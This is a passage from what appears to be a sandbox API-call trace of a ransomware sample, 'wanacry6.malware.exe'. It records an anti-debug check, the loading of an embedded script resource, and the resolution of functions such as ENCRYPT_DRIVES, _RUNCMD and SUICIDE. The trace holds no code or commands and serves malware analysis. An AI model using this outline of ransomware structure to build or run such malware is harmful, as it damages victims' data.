pv=0xc80cb2f930, cb=0x4, pcbRead=0xc80cb2f890 | out: pv=0xc80cb2f930*=0x45, pcbRead=0xc80cb2f890*=0x4) returned 0x0 [0031.506] ISequentialStream:RemoteRead (in: This=0xc80cc06970, pv=0xc80cb2f960, cb=0x10, pcbRead=0xc80cb2f930 | out: pv=0xc80cb2f960*=0x4d, pcbRead=0xc80cb2f930*=0x10) returned 0x0 [0031.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc80cb2f7f0 | out: lpSystemTimeAsFileTime=0xc80cb2f7f0*(dwLowDateTime=0x4688d119, dwHighDateTime=0x1d31057)) [0031.506] IStream:RemoteSeek (in: This=0xc80cc06970, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xc80cb2f9c8 | out: plibNewPosition=0xc80cb2f9c8) returned 0x0 [0031.506] IStream:RemoteSeek (in: This=0xc80cc06970, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0xc80cb2f2a0 | out: plibNewPosition=0xc80cb2f2a0) returned 0x0 [0031.506] ISequentialStream:RemoteRead (in: This=0xc80cc06970, pv=0xc80cb2f050, cb=0x4, pcbRead=0xc80cb2f020 | out: pv=0xc80cb2f050*=0x6b, pcbRead=0xc80cb2f020*=0x4) returned 0x0 [0031.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc80cb2eee0 | out: lpSystemTimeAsFileTime=0xc80cb2eee0*(dwLowDateTime=0x4688d119, dwHighDateTime=0x1d31057)) [0031.506] ISequentialStream:RemoteRead (in: This=0xc80cc06970, pv=0xc80cb2f2b8, cb=0x4, pcbRead=0xc80cb2f020 | out: pv=0xc80cb2f2b8*=0xa6, pcbRead=0xc80cb2f020*=0x4) returned 0x0 [0031.506] ISequentialStream:RemoteRead (in: This=0xc80cc06970, pv=0xc80cb2f060, cb=0x34, pcbRead=0xc80cb2f020 | out: pv=0xc80cb2f060*=0xe1, pcbRead=0xc80cb2f020*=0x34) returned 0x0 [0031.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc80cb2eee0 | out: lpSystemTimeAsFileTime=0xc80cb2eee0*(dwLowDateTime=0x4688d119, dwHighDateTime=0x1d31057)) [0031.506] ISequentialStream:RemoteRead (in: This=0xc80cc06970, pv=0xc80cb2f2b8, cb=0x4, pcbRead=0xc80cb2f020 | out: pv=0xc80cb2f2b8*=0x43, pcbRead=0xc80cb2f020*=0x4) returned 0x0 [0031.506] ISequentialStream:RemoteRead (in: This=0xc80cc06970, pv=0xc80cb2f770, cb=0xc6, pcbRead=0xc80cb2f020 | out: pv=0xc80cb2f770*=0xcd, pcbRead=0xc80cb2f020*=0xc6) returned 0x0 [0031.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc80cb2eee0 | out: lpSystemTimeAsFileTime=0xc80cb2eee0*(dwLowDateTime=0x4688d119, dwHighDateTime=0x1d31057)) [0031.506] ISequentialStream:RemoteRead (in: This=0xc80cc06970, pv=0xc80cb2f9b0, cb=0x1, pcbRead=0xc80cb2f2a0 | out: pv=0xc80cb2f9b0*=0x0, pcbRead=0xc80cb2f2a0*=0x1) returned 0x0 [0031.506] ISequentialStream:RemoteRead (in: This=0xc80cc06970, pv=0xc80cb2f2d0, cb=0x4, pcbRead=0xc80cb2f2a0 | out: pv=0xc80cb2f2d0*=0xbc, pcbRead=0xc80cb2f2a0*=0x4) returned 0x0 [0031.506] ISequentialStream:RemoteRead (in: This=0xc80cc06970, pv=0xc80cb2f2d0, cb=0x4, pcbRead=0xc80cb2f2a0 | out: pv=0xc80cb2f2d0*=0xbc, pcbRead=0xc80cb2f2a0*=0x4) returned 0x0 [0031.506] ISequentialStream:RemoteRead (in: This=0xc80cc06970, pv=0xc80cb2f2d0, cb=0x4, pcbRead=0xc80cb2f2a0 | out: pv=0xc80cb2f2d0*=0x84, pcbRead=0xc80cb2f2a0*=0x4) returned 0x0 [0031.506] IStream:RemoteSeek (in: This=0xc80cc06970, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0xc80cb2f2a0 | out: plibNewPosition=0xc80cb2f2a0) returned 0x0 [0031.506] ISequentialStream:RemoteRead (in: This=0xc80cc06970, pv=0xc80cc10310, cb=0x0, pcbRead=0xc80cb2f2a0 | out: pv=0xc80cc10310*=0x0, pcbRead=0xc80cb2f2a0*=0x0) returned 0x0 [0031.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc80cb2f160 | out: lpSystemTimeAsFileTime=0xc80cb2f160*(dwLowDateTime=0x4688d119, dwHighDateTime=0x1d31057)) [0031.506] CloseHandle (hObject=0x14c) returned 1 [0031.506] IUnknown:Release (This=0xc80cc06970) returned 0x0 [0031.507] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0031.508] IsDebuggerPresent () returned 0 [0031.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xc80cb0f9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0031.508] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpszLongPath=0xc80cb0f9f0, cchBuffer=0x7fff | out: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe") returned 0x31 [0031.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0xc80cb0f9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0x0) returned 0x31 [0031.508] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0031.508] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7ffe2a71dbbc [0031.508] Wow64DisableWow64FsRedirection (in: OldValue=0xc80cb1f920 | out: OldValue=0xc80cb1f920*=0x0) returned 0 [0031.508] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0031.509] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc80cb1f6f0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0031.509] GetFileType (hFile=0x14c) returned 0x1 [0031.509] LoadLibraryExW (lpLibFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0031.509] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0031.509] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0031.510] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0031.510] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0031.510] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xc80cb1f9a0 | out: ppstm=0xc80cb1f9a0*=0xc80cc065b0) returned 0x0 [0031.510] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0031.510] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0031.510] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0031.510] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0031.510] ISequentialStream:RemoteWrite (in: This=0xc80cc065b0, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0031.510] IStream:RemoteSeek (in: This=0xc80cc065b0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0031.510] IStream:RemoteSeek (in: This=0xc80cc065b0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xc80cb1f8b8 | out: plibNewPosition=0xc80cb1f8b8) returned 0x0 [0031.510] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cc10ce0, cb=0x18, pcbRead=0xc80cb1f800 | out: pv=0xc80cc10ce0*=0xa3, pcbRead=0xc80cb1f800*=0x18) returned 0x0 [0031.510] IStream:RemoteSeek (in: This=0xc80cc065b0, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0xc80cb1f800 | out: plibNewPosition=0xc80cb1f800) returned 0x0 [0031.510] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cb1f8a0, cb=0x4, pcbRead=0xc80cb1f800 | out: pv=0xc80cb1f8a0*=0x45, pcbRead=0xc80cb1f800*=0x4) returned 0x0 [0031.510] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cb1f8d0, cb=0x10, pcbRead=0xc80cb1f8a0 | out: pv=0xc80cb1f8d0*=0x4d, pcbRead=0xc80cb1f8a0*=0x10) returned 0x0 [0031.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc80cb1f760 | out: lpSystemTimeAsFileTime=0xc80cb1f760*(dwLowDateTime=0x4688d119, dwHighDateTime=0x1d31057)) [0031.510] IStream:RemoteSeek (in: This=0xc80cc065b0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xc80cb1f938 | out: plibNewPosition=0xc80cb1f938) returned 0x0 [0031.510] IStream:RemoteSeek (in: This=0xc80cc065b0, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0xc80cb1f210 | out: plibNewPosition=0xc80cb1f210) returned 0x0 [0031.510] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cb1efc0, cb=0x4, pcbRead=0xc80cb1ef90 | out: pv=0xc80cb1efc0*=0x6b, pcbRead=0xc80cb1ef90*=0x4) returned 0x0 [0031.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc80cb1ee50 | out: lpSystemTimeAsFileTime=0xc80cb1ee50*(dwLowDateTime=0x4688d119, dwHighDateTime=0x1d31057)) [0031.510] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cb1f228, cb=0x4, pcbRead=0xc80cb1ef90 | out: pv=0xc80cb1f228*=0xa6, pcbRead=0xc80cb1ef90*=0x4) returned 0x0 [0031.510] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cb1efd0, cb=0x34, pcbRead=0xc80cb1ef90 | out: pv=0xc80cb1efd0*=0xe1, pcbRead=0xc80cb1ef90*=0x34) returned 0x0 [0031.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc80cb1ee50 | out: lpSystemTimeAsFileTime=0xc80cb1ee50*(dwLowDateTime=0x4688d119, dwHighDateTime=0x1d31057)) [0031.510] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cb1f228, cb=0x4, pcbRead=0xc80cb1ef90 | out: pv=0xc80cb1f228*=0x43, pcbRead=0xc80cb1ef90*=0x4) returned 0x0 [0031.510] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cb1f6e0, cb=0xc6, pcbRead=0xc80cb1ef90 | out: pv=0xc80cb1f6e0*=0xcd, pcbRead=0xc80cb1ef90*=0xc6) returned 0x0 [0031.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc80cb1ee50 | out: lpSystemTimeAsFileTime=0xc80cb1ee50*(dwLowDateTime=0x4688d119, dwHighDateTime=0x1d31057)) [0031.511] IStream:RemoteSeek (in: This=0xc80cc065b0, dlibMove=0x1, dwOrigin=0x1, plibNewPosition=0xc80cb1ef90 | out: plibNewPosition=0xc80cb1ef90) returned 0x0 [0031.511] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cb1efc8, cb=0x4, pcbRead=0xc80cb1ef90 | out: pv=0xc80cb1efc8*=0xbc, pcbRead=0xc80cb1ef90*=0x4) returned 0x0 [0031.511] IStream:RemoteSeek (in: This=0xc80cc065b0, dlibMove=0x18, dwOrigin=0x1, plibNewPosition=0xc80cb1ef90 | out: plibNewPosition=0xc80cb1ef90) returned 0x0 [0031.511] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cb1efc0, cb=0x4, pcbRead=0xc80cb1ef90 | out: pv=0xc80cb1efc0*=0x6b, pcbRead=0xc80cb1ef90*=0x4) returned 0x0 [0031.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc80cb1ee50 | out: lpSystemTimeAsFileTime=0xc80cb1ee50*(dwLowDateTime=0x4688d119, dwHighDateTime=0x1d31057)) [0031.511] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cb1f228, cb=0x4, pcbRead=0xc80cb1ef90 | out: pv=0xc80cb1f228*=0xaf, pcbRead=0xc80cb1ef90*=0x4) returned 0x0 [0031.511] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cb1efd0, cb=0x26, pcbRead=0xc80cb1ef90 | out: pv=0xc80cb1efd0*=0xe6, pcbRead=0xc80cb1ef90*=0x26) returned 0x0 [0031.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc80cb1ee50 | out: lpSystemTimeAsFileTime=0xc80cb1ee50*(dwLowDateTime=0x4688d119, dwHighDateTime=0x1d31057)) [0031.511] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cb1f228, cb=0x4, pcbRead=0xc80cb1ef90 | out: pv=0xc80cb1f228*=0x47, pcbRead=0xc80cb1ef90*=0x4) returned 0x0 [0031.511] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cb1f6e0, cb=0xce, pcbRead=0xc80cb1ef90 | out: pv=0xc80cb1f6e0*=0xbf, pcbRead=0xc80cb1ef90*=0xce) returned 0x0 [0031.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc80cb1ee50 | out: lpSystemTimeAsFileTime=0xc80cb1ee50*(dwLowDateTime=0x4688d119, dwHighDateTime=0x1d31057)) [0031.511] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cb1f920, cb=0x1, pcbRead=0xc80cb1f210 | out: pv=0xc80cb1f920*=0x1, pcbRead=0xc80cb1f210*=0x1) returned 0x0 [0031.511] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cb1f240, cb=0x4, pcbRead=0xc80cb1f210 | out: pv=0xc80cb1f240*=0x28, pcbRead=0xc80cb1f210*=0x4) returned 0x0 [0031.511] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cb1f240, cb=0x4, pcbRead=0xc80cb1f210 | out: pv=0xc80cb1f240*=0x23, pcbRead=0xc80cb1f210*=0x4) returned 0x0 [0031.511] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cb1f240, cb=0x4, pcbRead=0xc80cb1f210 | out: pv=0xc80cb1f240*=0xf4, pcbRead=0xc80cb1f210*=0x4) returned 0x0 [0031.511] IStream:RemoteSeek (in: This=0xc80cc065b0, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0xc80cb1f210 | out: plibNewPosition=0xc80cb1f210) returned 0x0 [0031.511] ISequentialStream:RemoteRead (in: This=0xc80cc065b0, pv=0xc80cc10ce0, cb=0x9394, pcbRead=0xc80cb1f210 | out: pv=0xc80cc10ce0*=0x6d, pcbRead=0xc80cb1f210*=0x9394) returned 0x0 [0031.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc80cb1f0d0 | out: lpSystemTimeAsFileTime=0xc80cb1f0d0*(dwLowDateTime=0x4688d119, dwHighDateTime=0x1d31057)) [0031.529] IUnknown:Release (This=0xc80cc065b0) returned 0x0 [0031.529] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0031.529] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0xc80cb3fb40, lpFilePart=0xc80cb4fb88 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0xc80cb4fb88*="wanacry6.malware.exe") returned 0x31 [0031.530] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0031.530] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0031.530] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0031.530] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0031.530] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0031.530] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0031.530] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0031.530] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0031.530] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0031.531] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0031.531] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0031.531] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0031.531] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0031.531] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0031.531] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0031.531] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0031.531] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0031.531] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0031.531] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0031.532] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0031.532] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0031.538] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0031.538] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0031.538] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0031.539] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0031.539] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0031.539] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0031.539] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0031.539] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0031.539] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0031.539] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0031.539] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0031.539] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0031.539] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0031.539] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0031.540] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0031.540] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0031.540] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0031.540] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0031.540] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0031.540] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0031.540] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0031.540] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0031.540] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0031.540] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0031.540] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0031.540] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0031.540] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0031.540] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0031.540] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0031.540] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0031.540] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0031.540] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0031.540] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0031.540] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0031.540] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0031.540] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0031.540] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0031.541] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0031.541] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0031.541] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0031.541] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0031.541] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0031.541] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0031.541] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0031.541] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0031.541] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0031.541] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0031.541] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0031.541] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0031.541] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0031.541] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0031.541] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0031.541] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0031.541] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0031.541] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0031.541] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0031.541] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0031.541] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0031.541] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0031.541] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0031.541] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0031.541] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0031.541] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0031.541] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0031.541] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0031.541] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0031.541] CharUpperBuffW (in: lpsz="SUICIDE", 